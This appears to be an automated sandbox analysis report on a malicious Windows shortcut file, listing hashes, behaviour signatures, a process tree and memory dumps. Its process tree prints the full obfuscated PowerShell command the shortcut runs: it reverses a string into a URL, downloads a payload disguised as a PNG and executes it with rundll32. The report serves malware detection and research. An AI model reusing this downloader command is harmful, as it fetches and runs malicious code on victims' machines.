Analysis

  • max time kernel
    43s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    07-07-2022 15:48

General

  • Target

    doc_2265273.lnk

  • Size

    2KB

  • MD5

    a312e810fd34a9668948d6fa45982d25

  • SHA1

    a54e369404b7f2a1bc894116c4f9ee619cefe294

  • SHA256

    50518300d02153d04bf8eb8efd784fd88db56fbae142c1cfd5af45a52023d262

  • SHA512

    19dd647a3332b11440cce6ef2b129e09f3d280b997d8bc64449f2676f7dec5e8c260c494551a79faebc4b6e9c0bbfc955ea1d37018da013cd84266bcd9335fef

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\doc_2265273.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:316
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $s='/g54y5gcm548757vy/evres/dx/us.ssseniram//:ptth'; $r=$s[-1..-($s.Length)] -join ''; iwr -uri $r -o "c:\users\public\default.png";ru"ndll"32 c:\users\public\default.png,`#1
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1500
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" c:\users\public\default.png #1
        3⤵
          PID:1996

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/316-54-0x000007FEFC331000-0x000007FEFC333000-memory.dmp

      Filesize

      8KB

    • memory/1500-88-0x0000000000000000-mapping.dmp

    • memory/1500-93-0x000007FEF4970000-0x000007FEF5393000-memory.dmp

      Filesize

      10.1MB

    • memory/1500-95-0x0000000002454000-0x0000000002457000-memory.dmp

      Filesize

      12KB

    • memory/1500-94-0x000007FEF3E10000-0x000007FEF496D000-memory.dmp

      Filesize

      11.4MB

    • memory/1500-96-0x000000001B840000-0x000000001BB3F000-memory.dmp

      Filesize

      3.0MB

    • memory/1500-98-0x0000000002454000-0x0000000002457000-memory.dmp

      Filesize

      12KB

    • memory/1500-99-0x000000000245B000-0x000000000247A000-memory.dmp

      Filesize

      124KB

    • memory/1996-97-0x0000000000000000-mapping.dmp